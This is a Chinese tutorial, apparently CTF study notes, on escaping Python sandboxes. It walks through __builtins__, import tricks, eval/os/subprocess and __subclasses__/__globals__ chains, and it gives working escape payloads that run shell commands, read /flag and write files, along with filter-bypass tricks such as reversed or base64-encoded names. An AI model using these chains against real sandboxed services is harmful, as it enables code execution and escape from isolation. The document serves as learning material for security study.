python沙箱逃逸学习

沙箱逃逸,就是在给我们一个代码执行的环境下,脱离种种过滤、限制,最终getshell的过程

0x01.命名空间

命名空间是名称到对象的映射;按照变量定义的位置,有以下分类:

  • Local,局部命名空间,每个函数所拥有的命名空间,记录了函数中定义的所有变量
  • Global,全局命名空间,每个模块加载执行时创建的,记录了模块中定义的变量
  • Built-in,内建命名空间,任何模块均可访问

上述三种命名空间的生命周期如下:

  • Local,在函数调用时才被创建,当函数返回结果或抛出异常时被删除
  • Global,在模块加载时被创建,一直保留到python解释器退出
  • Built-in,在python解释器启动时创建,一直保留到python解释器退出

lenprint这些函数,我们并不需要引入模块而直接可以去调用,因此这些函数都来自内建命名空间

0x02.__builtins__

dir()函数没有提供参数时,会返回当前范围内的变量、方法和定义的类型列表:

Python 2.7.15+ (default, Nov 27 2018, 23:36:35) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> a = 5
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__', 'a']

带参数时,会返回参数的属性、方法列表:

>>> dir([])
>>> ['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

在没有提供参数时,可以看到__builtins__是作为默认模块出现的,可以查看该模块成分:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
>>> 

可以看到,里面有很多常用的函数,如__import__inputopenevalexecfile等,还有很多异常、对象

因此,除了直接调用上述函数外,还可以用__builtins__.函数的方式调用,如:

>>> __builtins__.len('hello')
5

如果把某函数从__builtins__中删除,那么就不能使用该函数了:

>>> del __builtins__.chr
>>> chr(1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'chr' is not defined

但是,__builtins__模块下有个reload()函数(python2),该函数可以重新载入之前载入的模块:

>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> chr(1)
'\x01'

如果把__builtins__模块下的reload删掉,那么就不能直接使用reload()函数了;但是,有个imp模块,它也提供了reload()方法。例如,python3.6下的__builtins__是没有reload的,可以用imp下的reload:

>>> import os
>>> import imp
>>> imp.reload(os)
<module 'os' from '/usr/lib/python3.6/os.py'>

0x03.怎样import

import

import是一个关键字,通过下面这条命令可以看出:

>>> help('keywords')

Here is a list of the Python keywords.  Enter any keyword to get more help.

and                 elif                if                  print
as                  else                import              raise
assert              except              in                  return
break               exec                is                  try
class               finally             lambda              while
continue            for                 not                 with
def                 from                or                  yield
del                 global              pass                

import可以用来导入一个包,在模块导入的时候,默认在当前目录下查找,然后再在系统中查找,系统查找的范围是sys.path下的所有路径:

>>> import sys
>>> sys.path
['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/home/gtfly/.local/lib/python2.7/site-packages', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages/gtk-2.0']

import的本质是:

  • 搜索modules
  • 绑定到局部变量

import module_name实质是将module_name.py中的全部代码加载到内存并赋值给与模块同名的变量写在当前文件中,这个变量的类型是module

>>> import os
>>> type(os)
<type 'module'>

sys.modules是一个全局字典,每导入新的模块,sys.modules将自动记录该模块,当第二次再导入该模块时,python会直接到该字典中去查找:

>>> sys.modules
>>> {'copy_reg': <module 'copy_reg' from '/usr/lib/python2.7/copy_reg.pyc'>, 'sre_compile': <module 'sre_compile' from '/usr/lib/python2.7/sre_compile.pyc'>, '_sre': <module '_sre' (built-in)>, 'encodings': <module 'encodings' from '/usr/lib/python2.7/encodings/__init__.pyc'>, 'site': <module 'site' from '/usr/lib/python2.7/site.pyc'>, '__builtin__': <module '__builtin__' (built-in)>, 'sysconfig': <module 'sysconfig' from '/usr/lib/python2.7/sysconfig.pyc'>, '__main__': <module '__main__' (built-in)>, 'encodings.encodings': None, 'abc': <module 'abc' from '/usr/lib/python2.7/abc.pyc'>, 'posixpath': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, '_weakrefset': <module '_weakrefset' from '/usr/lib/python2.7/_weakrefset.pyc'>, 'errno': <module 'errno' (built-in)>, 'encodings.codecs': None, 'sre_constants': <module 'sre_constants' from '/usr/lib/python2.7/sre_constants.pyc'>, 're': <module 're' from '/usr/lib/python2.7/re.pyc'>, '_abcoll': <module '_abcoll' from '/usr/lib/python2.7/_abcoll.pyc'>, 'types': <module 'types' from '/usr/lib/python2.7/types.pyc'>, '_codecs': <module '_codecs' (built-in)>, 'encodings.__builtin__': None, '_warnings': <module '_warnings' (built-in)>, 'genericpath': <module 'genericpath' from '/usr/lib/python2.7/genericpath.pyc'>, 'stat': <module 'stat' from '/usr/lib/python2.7/stat.pyc'>, 'zipimport': <module 'zipimport' (built-in)>, '_sysconfigdata': <module '_sysconfigdata' from '/usr/lib/python2.7/_sysconfigdata.pyc'>, 'warnings': <module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>, 'UserDict': <module 'UserDict' from '/usr/lib/python2.7/UserDict.pyc'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/lib/python2.7/encodings/utf_8.pyc'>, 'sys': <module 'sys' (built-in)>, 'codecs': <module 'codecs' from '/usr/lib/python2.7/codecs.pyc'>, 'readline': <module 'readline' from '/usr/lib/python2.7/lib-dynload/readline.x86_64-linux-gnu.so'>, '_sysconfigdata_nd': <module '_sysconfigdata_nd' from '/usr/lib/python2.7/plat-x86_64-linux-gnu/_sysconfigdata_nd.pyc'>, 'os.path': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, '_locale': <module '_locale' (built-in)>, 'sitecustomize': <module 'sitecustomize' from '/usr/lib/python2.7/sitecustomize.pyc'>, 'signal': <module 'signal' (built-in)>, 'traceback': <module 'traceback' from '/usr/lib/python2.7/traceback.pyc'>, 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, 'posix': <module 'posix' (built-in)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/lib/python2.7/encodings/aliases.pyc'>, 'exceptions': <module 'exceptions' (built-in)>, 'sre_parse': <module 'sre_parse' from '/usr/lib/python2.7/sre_parse.pyc'>, 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>, '_weakref': <module '_weakref' (built-in)>}

现在设置一下modules中os的值为None:

>>> sys.modules['os'] = None
>>> import os
>>> Traceback (most recent call last):
>>>   File "<stdin>", line 1, in <module>
>>> ImportError: No module named os

发现把os从modules中删去就不能直接引入了;但是,我们可以接着设置os的模块的路径,从而引入该模块:

>>> sys.modules['os'] = '/usr/lib/python2.7/os.py'
>>> import os
>>> 

如果sys模块也不能用,那么就不能通过设置路径来重新引入模块了,但可以使用python的内建函数:

  • execfile:execfile() 函数可以用来执行一个文件(python2)
  • exec:执行存储在字符串或文件中的python语句;python2的exec是一个内置语句而不是函数;python3将python2中的exec和execfile()功能整合到一个exec()函数中了

例如(python2):

>>> execfile('/usr/lib/python2.7/os.py')
>>> system('ls /')

或者:

>>> exec open('/usr/lib/python2.7/os.py')
>>> system('ls /')

_import_()

__import__import是有区别的,__import__()是一个函数,而不是关键字;

__import__只做了一件事:搜索modules;import执行过程是调用__import__来完成模块检索的

__import__作为一个函数,只能接受字符串参数,返回值可以直接用来操作;通常在动态加载的时候用到这个函数:

>>> __import__('re').findall('(hi)', 'hilinghi')
['hi', 'hi']
>>> 

因此,如果沙箱对导入的包名称做了限制,我们可以在导入模块前先对模块名称做处理,如:

>>> 'os'.encode('base64')
'b3M=\n'
>>> a = __import__('b3M=\n'.decode('base64'))
>>> a.chdir('../')
>>> a.getcwd()
'/home'

importlib

importlib模块是对import__import__()的补充;它也可以通过传入字符串来引入一个模块

>>> import importlib
>>> a = importlib.import_module('os')
>>> a.chdir('../')
>>> 

getattr、__getattribute____getattr__

getattr()可以获得类的属性/方法,它需要两个参数,第一个是类,第二个是属性/方法,例如:

>>> import os
>>> getattr(os, 'system')('ls')

如果不出现import os

getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

__getattribute__:一旦通过对象访问属性或方法,那么会自动调用该方法

1
2
3
4
5
6
7
8
9
class Test:
def __init__(self):
self.name = 'xxx'

def __getattribute__(self, item):
print(1)

a = Test()
print(a.name)

运行结果:

1
None

并不会打印出xxx,下面则会打印出两个xxx

1
2
3
4
5
6
7
class Test:
def __init__(self):
self.name = 'xxx'
print(object.__getattribute__(self, 'name'))

a = Test()
print(a.name)

因此实际上对象调用属性/方法时,会默认调用:

def __getattribute__(self, item):
    return object.__getattribute__(self, item)

因此我们在定义类时重写__getattribute__这个方法,便可进行处理对属性/方法的访问

__getattr__会在对象访问没有定义的属性/方法时调用,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
class Test:
def __init__(self):
self.name = 'xxx'

def __getattr__(self, item):
if item == 'age':
return 40
else:
raise AttributeError('no exist!')

a = Test()
print(a.age)
print(a.xxx)

会输出:

40
...
AttributeError: no exist!

无论是否获得对象的属性/方法,第一步都是先调用__getattribute__,当找不到属性/方法时,再调用__getattr__

0x04.python中常用的高危函数、方法

eval()

eval()函数用来执行一个字符串表达式,并返回表达式的值;如果表达式中的值是我们可控的话,那么可以做很多事,如:

获取文件内容:

>>> eval("open('/var/www/html/index.php').read()")
"<?php\n\necho $_GET['a'];\n"
>>> 

引入模块:

>>> eval("__import__('os').system('ls /')")
bin    dev   initrd.img      lib64     mnt   root  snap  tmp    

这里要注意,eval()的参数类型除了是字符串外,还可以是其他类型;先来了解一下compile()函数的用法:

compile()函数可以将一个字符串编译为字节代码,语法为:

compile(source, filename, mode[, flags[, dont_inherit]])

参数

  • source – 字符串或者AST(Abstract Syntax Trees)对象。。
  • filename – 代码文件名称,如果不是从文件读取代码则传递一些可辨认的值。
  • mode – 指定编译代码的种类。可以指定为 exec, eval, single。
  • flags – 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。。
  • flags和dont_inherit是用来控制编译源码时的标志

例如:

>>> a = compile("open('/var/www/html/index.php').read()", '', 'eval')
>>> type(a)
<type 'code'>
>>> eval(a)
"<?php\n\necho $_GET['a'];\n"
>>> 

另外,exec、execfile这些类似的高危函数上述已提及,这里不再赘述

os模块

os.system()执行命令成功后会返回0

>>> a = os.system('ls /')
bin    dev   initrd.img      lib64     mnt   root  snap  tmp
>>> print a
0

os.popen()该方法是以文件对象的形式返回shell指令运行的结果,获取结果可以调用read()或readlines()方法:

>>> a = os.popen('ls /')
>>> print a
<open file 'ls /', mode 'r' at 0x7f6c232865d0>
>>> print a.read()
bin
boot
cdrom
dev
etc
home

此外,site模块也有os方法,如果不能直接引入os,可以通过引入site,通过site.os调用:

>>> import site
>>> site.os.system('ls /')
bin    dev   initrd.img      lib64     mnt   root  snap  tmp
0
>>> 

commands模块(python2.x)

commands.getstatusoutput:以元组的形式返回结果,第一个元素为状态码,第二个元素为执行结果:

>>> import commands
>>> commands.getstatusoutput('ls /')
(0, 'bin\nboot\ncdrom\ndev\netc\nhome')

commands.getoutput:直接以字符串的形式返回命令执行的结果:

>>> commands.getoutput('ls /')
'bin\nboot\ncdrom\ndev\netc\nhome\'

subprocess模块

可以用这个模块创建子进程

subprocess模块定义了一个Popen类,通过它可以创建进程,并与其进行复杂的交互。

__init__(self, args, bufsize=0, executable=None, 
stdin=None, stdout=None, stderr=None, preexec_fn=None, 
close_fds=False, shell=False, cwd=None, env=None, 
universal_newlines=False, startupinfo=None, 
creationflags=0)

关键的参数:

  • args:一般是一个字符串,是要执行的shell命令内容
  • shell:默认为False;为True时,表示将通过shell来执行

Popen对象创建后,主程序不会自动等待子进程,因此我们可以调用wait()方法,使父进程等待子进程:

>>> subprocess.Popen('ls /', shell=True).wait()
bin    dev   initrd.img      lib64     mnt   root  
0
>>> 

下面的这些函数都是基于Popen()的封装,都可以执行shell命令,与Popen()用法很类似:

>>> subprocess.call('ls /', shell=True)
>>> subprocess.check_call('ls /', shell=True) # Python2.5新增
>>> subprocess.check_output('ls /', shell=True) # Python2.7新增
>>> subprocess.run('ls /', shell=True)     # Python3.5新增

详细说明可参考:https://www.cnblogs.com/lincappu/p/8270709.html

timeit

>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')", number=1)

platform

>>> import platform
>>> platform.popen('ls /').read()

pty

import pty
pty.spawn('ls')
pty.os.popen('ls').read()

cgi

import cgi
cgi.os.popen('ls').read()

0x05.常用的内建属性

python中一切皆为对象;python的所有类默认继承object类,object类提供了很多原始的内建属性和方法,因此用户自定义的类在python中也会继承这些内建属性;学习了下面这些内建属性,那么在沙箱中就可以很容易的构造出poc

_class_

__class__type(),都可查看对象所在的类:

>>> class Student():
...     def __init__(self, name):
...             self.name = name
... 
>>> stu = Student('ling')
>>> type(stu)
<class '__main__.Student'>
>>> stu.__class__
<class '__main__.Student'>
>>> 

_base_

可以获取类的一个基类,一般情况下是object,有时不是,例如继承类的时候:

>>> class Student():
...     def __init__(self, name):
...             self.name = name
... 
>>> stu = Student('ling')
>>> stu.__class__.__base__
<class 'object'>

>>> class Student2(Student):
...     pass
... 
>>> stu2 = Student2()
>>> stu2.__class__.__base__
<class '__main__.Student'>

_mro_

以元祖的形式返回整个继承链的关系:

>>> stu2.__class__.__mro__
(<class '__main__.Student2'>, <class '__main__.Student'>, <class 'object'>)

上面显示了Student2继承自StudentStudent继承自object;因此可以直接获取object类:

>>> stu2.__class__.__mro__[-1]
>>> <class 'object'>

_subclasses_()

上述两种方法可以得到object类,但如果代码中没有Student类,我们可以用利用python自带的对象(一切皆为对象):

>>> [].__class__.__base__
<class 'object'>
>>> ''.__class__.__base__
<class 'object'>
>>> ().__class__.__base__
<class 'object'>
>>> {}.__class__.__base__
<class 'object'>

得到object类后,就可以用__subclasses__()方法获得所有继承此类的子类:

>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>......

注:没有限制的话,object类是直接可以使用的

_dict_

1.Python有3种方法,静态方法(staticmethod),类方法(classmethod)和实例方法

静态方法:和类相关,但不需要类和实例中的任何信息、属性等,例如下面的test1中的static

class test1:
    def static():
        print('i am static method')

实例方法:需要类的实例才能调用里面的方法,例如下面的test类的shili

class test:
    def __init__(self):
        self.name = 'gtfly'
    def shili(self):
        print(self.name)

类方法:不需要类示例便可进行交互:

class test:
    name = 'gtfly'
    @classmethod
    def say(cls):
        print('i am' + cls.name)

@staticmethod修饰静态方法(比如当一个静态方法有参数self时),@classmethod修饰类方法

2.类的静态函数、类函数、实例函数、全局变量以及一些内置的属性都放在__dict__

对象的__dict__中存储了self.xxx一些属性

3.一些数据类型是没有__dict__属性的,整型、字典、列表等;

4.父子类对象公用__dict__;父子类独享__dict__

可以使用__dict__来间接调用一些属性或方法,如:

>>> a = []
>>> [].__class__.__dict__['append'](a, 'ling')
>>> a
['ling']

_init_

__init__用于初始化类,在沙盒逃逸中的作用就是为了得到function/method类型:

>>> class Base:
...     def __init__(self, a, b):
...             self.a = a
...     def func():
...             pass
... 
>>> class Child(Base):
...     pass
... 
>>> Child
<class '__main__.Child'>
>>> 
>>> Child.__init__
<function Base.__init__ at 0x7f40d32ed268>
>>> Child.func
<function Base.func at 0x7f40d32ed2f0>

_globals_

该属性是函数/方法特有的属性,记录当前文件的全局变量的值

>>> def func():
...     pass
... 
>>> dir(func)
['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

>>> class Student:
...     def __init__(self):
...             pass
... 
>>> stu = Student()
>>> stu.__init__
<bound method Student.__init__ of <__main__.Student instance at 0x7fba95e03cb0>>
>>> stu.__init__.__globals__
{'func': <function func at 0x7fba95db5d70>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, 'stu': <__main__.Student instance at 0x7fba95e03cb0>, 'Student': <class __main__.Student at 0x7fba95da29a8>, '__name__': '__main__', '__doc__': None}
>>> Student.__init__.__globals__
{'func': <function func at 0x7fba95db5d70>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, 'stu': <__main__.Student instance at 0x7fba95e03cb0>, 'Student': <class __main__.Student at 0x7fba95da29a8>, '__name__': '__main__', '__doc__': None}
>>> Student.__init__
<unbound method Student.__init__>
>>> 

当某个文件调用了os等库,但我们只能访问该文件某个函数/方法,这时就可以利用__globals__属性访问全局的变量

关于函数和方法,详见:https://segmentfault.com/a/1190000009157792

0x06.内建属性的利用getshell

一般情况下沙箱逃逸,import等关键总是会被ban的,因为这篇文章测试python中有几百个库中导入了os模块,引入任意一个便可getshell

一般通过以下构造链引入os

对象 -> 类 -> object类 -> 继承object的子类 -> 函数/方法 -> __globals__ -> os 

下面这些库中均含有os模块

<class 'site._Printer'> # python2
<class 'site.Quitter'> # python2
<class 'warnings.catch_warnings'> # python2
<class 'warnings.WarningMessage'> # python2
<class 'os._wrap_close'>  # python3

可以写个简单的循环查找上面库的位置,例如python2.7.15+:

>>> index = 0
>>> for value in [].__class__.__base__.__subclasses__():
        if 'site' in str(value):
            print index
            break
        else:
            index += 1
71

利用:

exp1:

>>> [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls /')
bin   cdrom  etc   initrd.img       lib      lost+found  mnt  proc  run   snap  sys  usr  

exp2:

>>> [].__class__.__base__.__subclasses__()[59]
>>> <class 'warnings.catch_warnings'>

通过该类,可以找到linecache这个模块(将文件内容读取到内存中),查看其可以直接调用的方法/属性:

>>> dir([].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'])
['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'cache', 'checkcache', 'clearcache', 'getline', 'getlines', 'os', 'sys', 'updatecache']

那么可以直接调用os

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].os.system('ls /')
bin    dev   initrd.img      lib64     mnt   root  snap  tmp    vmlinuz

exp3:

python3中使用<class 'os._wrap_close'>

>>> [].__class__.__base__.__subclasses__()[117]
<class 'os._wrap_close'>
>>> [].__class__.__base__.__subclasses__()[117].__init__.__globals__['system']('ls /')
bin    dev   initrd.img      lib64     mnt   root  snap  tmp    vmlinuz

0x07 内建属性的利用读写文件

可以利用的类:

<type 'file'>

例如python2:

# 读
().__class__.__bases__[0].__subclasses__()[40]('/flag').read()
# 写
().__class__.__bases__[0].__subclasses__()[40]('/flags', 'w').write('test')

其他姿势

如果把字符串过滤了,那么可以使用拼接或编码的方式绕过,如果过滤单个字符[ ]

>>> a = ['a', 'b', 'c']
>>> a.__getitem__(1)
'b'
>>> a.pop(1)
'b'
>>> a
['a', 'c']
>>> 

实际上a[1]就是在内部调用了a.__getitem__(1)

python3.6中可以用f-string:

>>> f'{__import__("os").system("ls /")}'

详见:https://docs.python.org/3.6/whatsnew/3.6.html#new-features

如果输入命令后执行结果不能回显,那么要判断沙盒能否连接外网,不能的话可以通过Time Based RCE,详情参考:https://icematcha.win/?p=532

---------

参考链接:

https://blog.csdn.net/jblock/article/details/82938656

https://xz.aliyun.com/t/52/#toc-4

https://www.cnblogs.com/zhangxinhe/p/6963462.html

https://www.cnblogs.com/f1194361820/p/9675960.html

https://www.cnblogs.com/lincappu/p/8270709.html

https://segmentfault.com/a/1190000009157792

https://www.freebuf.com/articles/system/203208.html

1
2